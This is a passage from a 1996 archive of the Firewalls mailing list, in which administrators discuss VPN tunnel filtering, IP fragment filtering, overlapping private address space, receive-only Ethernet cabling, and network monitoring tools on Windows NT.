etherswitch to make sure that at the MAC layer, only these hosts can reach
the drop safe.  I have also done this type of thing with setting up
VLANSs for other isolations under the TCP/IP layer.  
This way, you can tell the logging machines port, that only these mac addresses
can reach it and be damn sure that one of those address is not a router.

I am still searching for the untimate system but until then...a hacking 
we will go.

--blast

From firewalls-owner  Fri Mar  1 08:19:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA12610 for firewalls-outgoing; Fri, 1 Mar 1996 07:00:21 -0800 (PST)
Received: from zcias1.ziff.com (zcias1.ziff.com [140.244.1.69]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA12568 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 07:00:11 -0800 (PST)
Received: from iongate.staff.ichange.com (198-112-128-9.ichange.com)
 by zcias1.ziff.com (PMDF V5.0-5 #10330)
 id <01I1TJFKZ92O00CNZH@zcias1.ziff.com> for Firewalls@GreatCircle.COM; Fri,
 01 Mar 1996 09:56:22 -0500 (EST)
Received: by iongate.staff.ichange.com (IBM OS/2 SENDMAIL VERSION 1.3.2)
 /1.0) id AA4495; Fri, 01 Mar 1996 09:54:21 -0800
Received: from IChange with "Lotus Notes Mail Gateway for SMTP" id
 80A39ED94EC4774A852562E0004FF1F1; Fri, 01 Mar 1996 09:54:19 +0000
Date: Fri, 01 Mar 1996 09:37:05 -0400 (EDT)
From: Bill Conaway <Bill_Conaway@iongate.staff.ichange.com>
Subject: Re: IP fragments and packet filters
To: "Charles B. Kaplan" <cbk@starbase.ingress.com>
Cc: Firewalls <Firewalls@GreatCircle.COM>
Message-id: <9603011754.AA4495@iongate.staff.ichange.com>
MIME-version: 1.0
Content-type: Text/Plain
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Charles B. Kaplan wrote:
> 
> >The only time you're ever likely to see a packet with FO=1 is if a bad guy is
> >knocking at your door.
> 
> Would there ever be exceptions to this that would stem from the passing of
> data long distance, and thus forcing the data into a bigger pipe (say an ATM
> link cross country), and then back out of the pipe, possible becoming
> fragmented.

See rfc1858, "Security Considerations for IP Fragment Filtering".

-- 
Eric V. Smith           | Some for renown on scraps of learning dote,
EricSmith@windsor.com   |  And think they grow immortal as they quote.
Windsor Software Corp   +----------------------------------+ Edward Young
http://www.windsor.com/   Windows NT, Unix, SQL Server     |  English poet


From firewalls-owner  Fri Mar  1 08:21:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA10600 for firewalls-outgoing; Fri, 1 Mar 1996 06:27:27 -0800 (PST)
Received: from anchorsteam ([38.251.136.100]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA10586 for <firewalls@GreatCircle.com>; Fri, 1 Mar 1996 06:27:20 -0800 (PST)
Received: from samadams.unifiedtech.com by anchorsteam (5.x/SMI-SVR4)
	id AA16179; Fri, 1 Mar 1996 09:21:51 -0500
Received: by samadams.unifiedtech.com (SMI-8.6/SMI-SVR4)
	id JAA03140; Fri, 1 Mar 1996 09:27:19 -0500
Date: Fri, 1 Mar 1996 09:27:19 -0500
From: Mike.Jones@unifiedtech.com (Mike Jones)
Message-Id: <199603011427.JAA03140@samadams.unifiedtech.com>
To: firewalls@GreatCircle.com, frankw@in.net
Subject: RE: VPN's over the internet
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Frank Willoughby writes...
> A note or two of interest about VPN's over the Internet: 
> o Many (most?) firewalls when performing firewall->firewall encryption
>   are only providing an IP encryption tunnel through the firewalls.
>   It is important to note that *NO* applications filtering is performed.
>   While this may offer protection from a MITM (Man-In-The-Middle) attack 
>   (Internet, etc), it offers *NO* protection from the other entity's
>   network.  A problem on their network is a problem on your network.

This is a *very good* point. I was talking to a customer recently who
manufactures snowmobile equipment and works with the likes of Polaris,
Arctic Cat, etc., and who would like to exchange some pretty sensitive
(trade secret) information with them over the Internet. They initially
wanted me to come in and talk about VPN's and FW-FW encryption, but
after I brought this point up to them they suddenly realized that
end-to-end encryption with something like PGP is better for some
applications.
 
> o It is usually beneficial to firewall VPN connections to localize
>   contamination in the event one of the VPN entities is breached.

Frank, could you elaborate just a bit on what you mean by "localize
contamination"?

  Mike Jones |  mike.jones@unifiedtech.com

You throw me your best stuff. I'll see if I can hit it. That's big
league baseball.
	- Bob Horner
 

From firewalls-owner  Fri Mar  1 08:24:44 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA13127 for firewalls-outgoing; Fri, 1 Mar 1996 07:07:38 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA13122 for <firewalls@GreatCircle.com>; Fri, 1 Mar 1996 07:07:34 -0800 (PST)
Received: from pm1-24.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA03447; Fri, 1 Mar 96 10:03:58 -0500
Date: Fri, 1 Mar 96 10:03:58 -0500
Message-Id: <9603011503.AA03447@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: RE: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily, at 09:27 AM 3/1/96 -0500, Mike Jones did write:

>Frank Willoughby writes...
>> A note or two of interest about VPN's over the Internet: 
>> o Many (most?) firewalls when performing firewall->firewall encryption
>>   are only providing an IP encryption tunnel through the firewalls.
>>   It is important to note that *NO* applications filtering is performed.
>>   While this may offer protection from a MITM (Man-In-The-Middle) attack 
>>   (Internet, etc), it offers *NO* protection from the other entity's
>>   network.  A problem on their network is a problem on your network.
>
>This is a *very good* point. I was talking to a customer recently who
>manufactures snowmobile equipment and works with the likes of Polaris,
>Arctic Cat, etc., and who would like to exchange some pretty sensitive
>(trade secret) information with them over the Internet. They initially
>wanted me to come in and talk about VPN's and FW-FW encryption, but
>after I brought this point up to them they suddenly realized that
>end-to-end encryption with something like PGP is better for some
>applications.
> 
>> o It is usually beneficial to firewall VPN connections to localize
>>   contamination in the event one of the VPN entities is breached.
>
>Frank, could you elaborate just a bit on what you mean by "localize
>contamination"?


Sure.  Here's two instances.  

SCENARIO 1
Suppose a hacker was able to break into the other network and 
you only have FW->FW encryption.  After the hacker has shut 
down security logging & auditing and created a couple of new 
accounts, the individual will start looking for other systems 
to crack.  Since your network is an extension of the other 
network (via the VPN), your network is a likely target.  Since 
the firewall in this case only supports encrypted tunneling, 
the pipe (link) between the two firewalls is completely 
transparent to the hacker and provides absolutely no protection 
against the hacker from setting up shop on your network.

If the firewall did support filtering _in_addition_to_ encrypting 
the link between the two firewalls, the hacker will have a much 
more difficult time in crossing from the compromised network to 
your network.


SCENARIO 2
Someone on the other network happened to accidently upload a Worm.  
While the other entity's personnel are frantically running around 
trying to prevent the spread of the Worm and trying to reboot the 
systems so they can be cleaned up, the Worm is happily hopping from 
system to system.  It happens to notice that there a system on your 
network is reachable & decides to commence attacking your systems.  
Nothing stops the Worm from getting to your network since the 
firewall is only using an encrypted tunnel from firewall to firewall.  
Of course, if the firewall were to provide applications filtering 
correctly, the damage would be contained to the contaminated network.

Note that both scenarios above assume that you don't trust anyone on 
the other network & the firewalls are Applications Gateways, and they 
are correctly configured.


There are at least two solutions to resolving the above-mentioned
vulnerabilities:

o Purchase a firewall which supports Firewall->Firewall encryption
  AND will also provide applications filtering (via proxy, etc) of
  the encrypted links.

o Place a hardware encryption box between the firewall and the VPN
  access point as illustrated the (crude) diagram below.

    your network->FW->HEB->public net->HEB->FW->their network


FW=Firewall
HEB=Hardware Encryption Box (obviously, it also decrypts)


>
>  Mike Jones |  mike.jones@unifiedtech.com
>
>You throw me your best stuff. I'll see if I can hit it. That's big
>league baseball.
>	- Bob Horner


Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Management & Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com/fortified
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  1 09:03:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA11499 for firewalls-outgoing; Fri, 1 Mar 1996 06:41:17 -0800 (PST)
Received: from gatekeeper.Bridge.COM (gatekeeper.bridge.com [167.76.159.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA11486 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 06:41:12 -0800 (PST)
Received: (from mailproxy@localhost) by gatekeeper.Bridge.COM (8.6.12/8.6.9) id IAA07927; Fri, 1 Mar 1996 08:39:12 -0600
Received: from ignatz.bridge.com(167.76.24.6) by gatekeeper.Bridge.COM via smap (V1.0mjr)
	id sma007901; Fri Mar  1 08:39:00 1996
Received: from ignatz (ignatz.bridge.com) by ignatz.bridge.com with SMTP id AA16061
  (5.67b/IDA-1.5); Fri, 1 Mar 1996 08:46:12 -0600
Date: Fri, 1 Mar 1996 08:46:12 -0600 (CST)
From: Ken Hardy <ken@bridge.com>
X-Sender: ken@ignatz
To: Reef Shafer <boogie@primenet.com>
Cc: firewalls@GreatCircle.COM
Subject: Re: What port does NT use for logins?
In-Reply-To: <Pine.BSD.3.91.960229164419.20931A-100000@usr3.primenet.com>
Message-Id: <Pine.SUN.3.90.960301084518.15755B@ignatz>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

SMB documentation is available under ftp://nimbus.anu.edu.au/pub/tridge.
Don't know if it has what you're after.

- KH


From firewalls-owner  Fri Mar  1 09:45:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA16504 for firewalls-outgoing; Fri, 1 Mar 1996 07:59:50 -0800 (PST)
Received: from internet.agf.fr (firewall.agf.fr [194.98.34.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA16490 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 07:59:38 -0800 (PST)
Received: by internet.agf.fr; id RAA18818; Fri, 1 Mar 1996 17:09:43 +0100
Received: from frkj58.agf.fr(128.193.17.150) by firewall.agf.fr via smap (g3.0.3)
	id xma018808; Fri, 1 Mar 96 17:09:34 +0100
Received: from frki78.agf.fr ([128.193.4.163]) by agf.fr (5.x/SMI-SVR4-memo-941118)
	id AA17377; Fri, 1 Mar 1996 16:52:39 +0100
Date: Fri, 1 Mar 1996 16:52:39 +0100
Message-Id: <9603011552.AA17377@agf.fr>
X-Sender: rapoport@internet
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Firewalls@GreatCircle.COM
From: Marc Rapoport <rapoport@iway.fr>
Subject: Support of already used IP adresses:Chapter 2
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

First of all, Thanks a lot for all the answers i received so quickly (Daryl,
James, Joshua, Steven, Brendan & all the others not quoted here).

I will try to make a global answer & give some more information.

- For those who suggest to use 10.0.0.0 from RFC 1597 :
As I knew this RFC, i agree with you, but when we chose our adressing plan,
 this wasn't really published. With the recent growth of our private
 IP network, it would represent a really hard task to renumber 
the entire newtwork.
It won't be a problem anymore when we will use DHCP and WINS
everywhere :) .

- For those who suggest some adress based translators (NSC, ...):
As you mentioned, they are not able to manage the IP
adresses that are not in the IP header but in the data part,
can some of you make comments about that (which protocols are
problematic, ..) ?

- For those who suggest to use proxy based firewalls (Borderware, ANS,
 ...), we already use one, it is a TIS based firewall (just guess
which one :) ).
What i want to add is that the problem doesn't come from the use
of a filter packet based or proxy based firewall.
It comes from the implementation of the standard IP layer, which
is used in all firewalls products (as far as i know).
The firewalls use the IP layer included in the UNIX OS, even if 
modified in some way (no IP forward, no IP redirect ...).
BUT, for this IP routing layer, an IP adress can only exist
on ONE interface.
Example  :

You define a IP subnet "S" on your Intranet that already exist
on the Internet.
 A station from S on the Internet want to connect
to your firewall.
 If the IP layer  of the firewall sees a packet with the S
IP adress coming from the external Ethernet adapter, then it
will decide it is some kind of IP spoofing attack, and reject it.

One solution to this proble could be that the IP layer is able
to manage couples (IP adress A , adapter 1) and (IP adress A, adapter 2),
instead of IP adress A -> adapter .
The A adress from adapter 1 could be considered as trusted and 
the one from adapter 2 untrusted.

I know this not a "politically correct" routing mecanism, but a firewall
is not supposed to be a standard IP host.

Now, a station from S on the Intranet wants to connect to a
server which is also in the S subnet on the Internet.
The packet arrives OK to the internal adapter and the proxy application,
but when it goes again from the proxy, the IP layer routes it back to the
Intranet instead of the Internet.

Why not suppose that if a packet comes from the Intranet (internal 
adapter) , then it means that it wants to "go out" (external adapter)?
What's the use of making a round trip from Intranet to Intranet?

You may think that the probability of such a case if very small,
but our problem is we don't use just one S net, but S1, S2, S3,.. nets.
The more our network expands, the more B class we use from the Internet
that become unreachable (once defined as trusted in the firewall, it
can no longer appear on the Internet side).

With this information, can you still confirm me that there are
(and which ones ?) firewall products able to handle that problem ?

Thanks for your patience!

       Marc.


For those who didn't read Chapter 1, here is my question :

>Hi, our private Intranet adressing plan is using several class B that are
already
>allocated on the Internet, as our Intranet was created long before we
planned to interconnect
>with the Internet.
>We use a single firewall which masks our private adresses, but we are not
able to reach
> the public portion of the Internet that uses the same IP adresses.
>The only solution i know to handle that problem is to use 2 firewalls
serialized 
>with a pseudo network between the Intranet and the Internet.
>Does anybody knows a product able to solve this problem with only one
firewall ?
>Thanks in advance.
>
=========================================================================
||      Marc Rapoport :      rapoport@iway.fr                          ||
||      AGF.SI Tour Franklin - La Defense 8                            ||
||      92042 PARIS LA DEFENSE CEDEX                                   ||
||      Tel : 49.03.31.77 Fax : 47.67.07.90                            ||
=========================================================================



From firewalls-owner  Fri Mar  1 09:48:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA17831 for firewalls-outgoing; Fri, 1 Mar 1996 08:25:24 -0800 (PST)
Received: from commons.cmold.com (commons.baka.com [204.255.183.49]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA17817 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:25:09 -0800 (PST)
Received: (from Uactech@localhost) by commons.cmold.com (8.6.12/8.6.12) with UUCP id LAA02244 for firewalls@GreatCircle.COM; Fri, 1 Mar 1996 11:50:47 -0500
Received: from ithaca.actech.com (ithaca [198.41.4.11]) by spencer.actech.com (8.7.1/8.7.1) with SMTP id LAA02083 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 11:19:53 -0500 (EST)
Received: from ovid by ithaca.actech.com (920330.SGI/SMI-4.0)
	id AA07479; Fri, 1 Mar 96 11:21:40 -0500
Received: by ovid.actech.com (5.x/SMI-SVR4)
	id AA01420; Fri, 1 Mar 1996 11:21:37 -0500
Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.ovid.sun4.51
          via MS.5.6.ovid.sun4_51;
          Fri,  1 Mar 1996 11:21:37 -0500 (EST)
Message-Id: <klBmEF36_EEC1nR1s0@ovid>
Date: Fri,  1 Mar 1996 11:21:37 -0500 (EST)
From: Steve Gaarder <gaarder@actech.com>
To: firewalls@GreatCircle.COM
Subject: Re: VPN's over the internet
In-Reply-To: <199602291225.HAA14305@dns.ottawa.net>
References: <199602291225.HAA14305@dns.ottawa.net>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I am in the process of building a VPN using the tcp tunnel feature of
ssh.  This has the drawbacks of being limited to tcp connections, and
requiring that each port be explicitly tunnelled (though this last could
also be considered a security feature).  On the other hand, the software
is free, and, having been developed outside the US, can be used all over
the world.  Also, it uses public key cryptography, simplifying key
management.

Steven Gaarder                              Network and Systems Administrator
gaarder@actech.com                          A C Technology, Ithaca, N.Y., USA


From firewalls-owner  Fri Mar  1 09:51:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA17631 for firewalls-outgoing; Fri, 1 Mar 1996 08:21:13 -0800 (PST)
Received: from border.dreamworks.com (dreamworks.com [204.250.57.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA17626 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:21:07 -0800 (PST)
Received: from border.dreamworks.com (daemon@localhost) by border.dreamworks.com (8.7.2/8.7.2) with ESMTP id IAA11725 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:21:10 -0800 (PST)
Received: from gateway (gateway.dreamworks.com [10.1.1.2]) by border.dreamworks.com (8.7.2/8.7.2) with SMTP id IAA11719 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:21:10 -0800 (PST)
Received: from msmail.dreamworks.com by gateway (SMI-8.6/SMI-SVR4)
	id IAA10512; Fri, 1 Mar 1996 08:21:33 -0800
Received: by msmail.dreamworks.com with Microsoft Mail
	id <31372418@msmail.dreamworks.com>; Fri, 01 Mar 96 08:21:44 PST
From: "Palmer, John" <JPALME@dwpcpo1.dreamworks.com>
To: Darryl Wagoner <darryl@sai.com>, Marc Rapoport <rapoport@iway.fr>
Cc: Firewalls <Firewalls@GreatCircle.COM>
Subject: Re: Support of already used IP adresses
Date: Fri, 01 Mar 96 08:19:00 PST
Message-ID: <31372418@msmail.dreamworks.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Darryl,

You may want to check out the RFC 1918, which details the use of private 
intranets.

John
 ----------
From: Darryl Wagoner
To: Marc Rapoport
Cc: Firewalls
Subject: Re: Support of already used IP adresses
Date: Friday, March 01, 1996 8:03AM

On Thu, 29 Feb 1996, Marc Rapoport wrote:

The correct way to solve this is to use the private class A network
address that was reserve for this purpose.  I think it is 10.0.0.0.
but don't quote me on it.

 --
Darryl Wagoner          darryl@sai.com   http://www.sai.com/
Office: 603.672.0736            Fax: 603-672-4846
Web Pages for hire.   Check out NH & MA Movies http://www.sai.com/movies


From firewalls-owner  Fri Mar  1 09:53:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA18040 for firewalls-outgoing; Fri, 1 Mar 1996 08:31:14 -0800 (PST)
Received: from gatekeeper.ray.com (gatekeeper.ray.com [138.125.162.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA18018 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:31:05 -0800 (PST)
Received: from localhost (mailer@localhost) by gatekeeper.ray.com (8.6.4/8.6.5) id LAA05571; Fri, 1 Mar 1996 11:29:14 -0500
Received: from eoits1.eo.ray.com by gatekeeper.ray.com; Fri Mar  1 11:28:12 1996
Received: by eo.ray.com (5.0/SMI-SVR4)
	id AA04707; Fri, 1 Mar 1996 11:28:18 -0500
Date: Fri, 1 Mar 1996 11:28:18 -0500
From: hhantman@eo.ray.com (Howard Hantman)
Message-Id: <9603011628.AA04707@eo.ray.com>
To: Wally@ecaltd.com, firewalls@GreatCircle.COM
Subject: Re: FW: rx but no tx wiring for ethernet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Unfortunately, cutting that wire will also cause any hub at the other end of
the link to lose its "link" detection. This may cause the hub to refuse to
transmit any data on that line. You may need to disable link test on the other
end, if it supports that option.

                                         Howard Hantman
                                         Manager, Technology Integration
                                         Corporate ITS
                                         Raytheon Company

> Soembody will probably correct me, but I think the twisted pair standard   
> says that for 10Mb ethernet, the blue and brown pairs are not used. Of   
> the orange and green pairs, one is tx, one is rx (thats wires 1&2, 3&6).   
> I'm not sure which is which, but breaking one of those should make it   
> receive-only.
> 
>  ----------
> From:  firewalls-owner[SMTP:firewalls-owner@GreatCircle.COM]
> Sent:  29 February 1996 07:26
> To:  firewalls
> Subject:  rx but no tx wiring for ethernet
> 
> I dont know if it can be done with ethernet because of it being a   
> contention kinda thing but is it posible to make a twisted-pair cable to   
> only receive?
> 
> I played around with the wiring but could not get it to work.  Maybe it   
> depends on what brand of card?
> 
> Any help in this area is much apreciated.
> 
>  --blast
> 
> 
> 
> 

From firewalls-owner  Fri Mar  1 09:55:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA17719 for firewalls-outgoing; Fri, 1 Mar 1996 08:23:40 -0800 (PST)
Received: from inetgate.scitexdpi.com (firewall.sdp.scitex.com [149.115.248.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA17668 for <firewalls@GreatCircle.com>; Fri, 1 Mar 1996 08:23:21 -0800 (PST)
Received: by inetgate.scitexdpi.com id AA03792
  (5.67b/IDA-1.5 for <firewalls@GreatCircle.com>); Fri, 1 Mar 1996 11:19:03 -0500
Received: from mailhub.scitexdpi.com(172.16.9.23) by inetgate via smap (V1.3)
	id sma003788; Fri Mar  1 11:18:56 1996
Received: from mailhub.scitexdpi.com by mailhub with SMTP id AA04305
  (5.67b/IDA-1.5 for <firewalls@GreatCircle.com>); Fri, 1 Mar 1996 11:18:56 -0500
Received: from sdphq-Message_Server by mailhub.scitexdpi.com
	with Novell_GroupWise; Fri, 01 Mar 1996 11:18:53 -0500
Message-Id: <s136dd1d.059@mailhub.scitexdpi.com>
X-Mailer: Novell GroupWise 4.1
Date: Fri, 01 Mar 1996 11:18:11 -0500
From: Bob Allison <ballison@mailhub.scitexdpi.com>
To: Wally@ecaltd.com, firewalls@GreatCircle.com
Subject:  FW: rx but no tx wiring for ethernet -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

You need to be careful when breaking the Rx pair, though.  The hubs we have
don't transmit to a port unless it thinks there is something connected there;
it determines that existance by listening for link pulses on the Rx pair.
No Rx pair, no link pulses, no traffic...

>>> Anthony.W.Youngman <Wally@ecaltd.com> 03/01/96 04:57am >>>

Soembody will probably correct me, but I think the twisted pair standard    says
that for 10Mb ethernet, the blue and brown pairs are not used. Of    the orange
and green pairs, one is tx, one is rx (thats wires 1&2, 3&6).    I'm not sure
which is which, but breaking one of those should make it    receive-only.

 ----------
From:  firewalls-owner[SMTP:firewalls-owner@GreatCircle.COM]
Sent:  29 February 1996 07:26
To:  firewalls
Subject:  rx but no tx wiring for ethernet

I dont know if it can be done with ethernet because of it being a    contention
kinda thing but is it posible to make a twisted-pair cable to    only receive?

I played around with the wiring but could not get it to work.  Maybe it   
depends on what brand of card?

Any help in this area is much apreciated.

 --blast






From firewalls-owner  Fri Mar  1 10:06:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA18411 for firewalls-outgoing; Fri, 1 Mar 1996 08:41:32 -0800 (PST)
Received: from hnc.hnc.com (hnc.hnc.com [206.79.10.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA18403 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 08:41:27 -0800 (PST)
Received: (from uucp@localhost) by hnc.hnc.com (8.7.1/8.7.1) id IAA08818 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 08:34:02 -0800 (PST)
Received: from serval.hnc.com(206.79.54.2) by hnc.hnc.com via smap (V1.3)
	id sma008807; Fri Mar  1 08:33:39 1996
Received: from spike.hnc.com (spike.hnc.com [191.9.201.52]) by serval.hnc.com (8.7.1/8.7.1) with ESMTP id IAA29727 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 08:46:24 -0800 (PST)
Received: from fred.hnc.com (fred.hnc.com [191.9.204.7]) by spike.hnc.com (8.7.1/8.7.1) with SMTP id IAA10211 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 08:41:34 -0800 (PST)
Message-Id: <199603011641.IAA10211@spike.hnc.com>
Received: from pcdwl.hnc.com by fred.hnc.com with SMTP
	(1.38.193.4/16.2) id AA10502; Fri, 1 Mar 1996 08:48:12 -0800
X-Sender: dwl@spike
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 08:41:58 -0800
To: firewalls@greatcircle.com
From: David Loysen <dwl@hnc.com>
Subject: Re: FW: rx but no tx wiring for ethernet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 09:57 AM 3/1/96 GMT, you wrote:
>
>Soembody will probably correct me, but I think the twisted pair standard   
>says that for 10Mb ethernet, the blue and brown pairs are not used. Of   
>the orange and green pairs, one is tx, one is rx (thats wires 1&2, 3&6).   
>I'm not sure which is which, but breaking one of those should make it   
>receive-only.
>
>I dont know if it can be done with ethernet because of it being a   
>contention kinda thing but is it posible to make a twisted-pair cable to   
>only receive?
>
>I played around with the wiring but could not get it to work.  Maybe it   
>depends on what brand of card?
>

This is (I think) right. But I'll bet there isn't a standard ethernet driver
around that would work in this configuration. Dosen't mean you couldn't find
or write one.

Just curious, why do you want to do this?????


=====================================
It's warm and sunny here in southern california,
just like it always is.

What's it like where you are?


From firewalls-owner  Fri Mar  1 10:15:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA18856 for firewalls-outgoing; Fri, 1 Mar 1996 08:48:26 -0800 (PST)
Received: from webspan.com (home.webspan.com [204.221.12.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA18846 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:48:11 -0800 (PST)
Received: (from jgc@localhost) by webspan.com (8.7.1/8.6.9) id KAA17302 for firewalls@GreatCircle.COM; Fri, 1 Mar 1996 10:46:06 -0600 (CST)
From: Jerry Champlin <jgc@webspan.com>
Message-Id: <199603011646.KAA17302@webspan.com>
Subject: ethernet details (rx and tx)
To: firewalls@GreatCircle.COM
Date: Fri, 1 Mar 1996 10:46:05 -0600 (CST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

This should hopefully answer most of the question about ethernet
wiring

excerpt from:

 Linux Ethernet-Howto
  Paul Gortmaker, Editor.
  v2.4, 27 May 1995


  If you are only connecting two machines, it is possible to avoid using
  a hub, by swapping the Rx and Tx pairs (1-2 and 3-6).

  If you hold the RJ-45 connector facing you (as if you were going to
  plug it into your mouth) with the lock tab on the top, then the pins
  are numbered 1 to 8 from left to right. The pin usage is as follows:


          Pin Number              Assignment
          ----------              ----------
          1                       Output Data (+)
          2                       Output Data (-)
          3                       Input Data (+)
          4                       Reserved for Telephone use
          5                       Reserved for Telephone use
          6                       Input Data (-)
          7                       Reserved for Telephone use
          8                       Reserved for Telephone use

>From my limited understanding, if you remove pin 3 and your software
will cope with no incoming data, you will solve the problem.  I think
you will still need pin 6 to make the card happy.

Hope this helps

-Jerry

***************************************************************************
       //Keep it simple; as simple as posible, but no simpler.//
                            --A. Einstein
Jerry Champlin   jgc@home.webspan.com   URL: http://128.101.165.26/~jerry
          home: 612-623-4699             work: 612-333-5465
***************************************************************************

From firewalls-owner  Fri Mar  1 10:27:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA18851 for firewalls-outgoing; Fri, 1 Mar 1996 08:48:19 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA18845 for <firewalls@greatcircle.COM>; Fri, 1 Mar 1996 08:48:11 -0800 (PST)
Received: by inet1.tek.com id <AA27043@inet1.tek.com>; Fri, 1 Mar 1996 08:46:32 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma023956; Fri Mar  1 08:46:27 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA05655; Fri, 1 Mar 96 08:46:13 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA23608; Fri, 1 Mar 96 06:42:06 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA01427; Fri, 1 Mar 96 06:38:33 PST
Date: Fri, 1 Mar 1996 06:38:30 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: "Joseph L. Moll" <jmoll@acquion.COM>
Cc: firewalls@greatcircle.COM
Subject: Re: Sniffer for Windows NT.
In-Reply-To: <2.2.32.19960228143928.006cd7d8@mail.acquion.com>
Message-Id: <Pine.SUN.3.91.960301063632.1420A-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


On Wed, 28 Feb 1996, Joseph L. Moll wrote:

> Windows NT Server with SMS installed includes a really nice Network Monitor.
> I have not been able to find out if it is available without the purchase of
> SMS.  If someone gets a hold of the right person at Microsoft, please let me
> know where I can buy my copy :)


We just had to order a copy.  Its my understanding that you have to buy 
SMS to get the monitor, but I found out something else I have to get.  
Apparently I have to get SQLServer too, because the network monitor uses 
it for some reason.  But I don't know why, and I haven't taken the time 
to read up on it.  Sorry if that's really weak, but that's what I know.

       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________

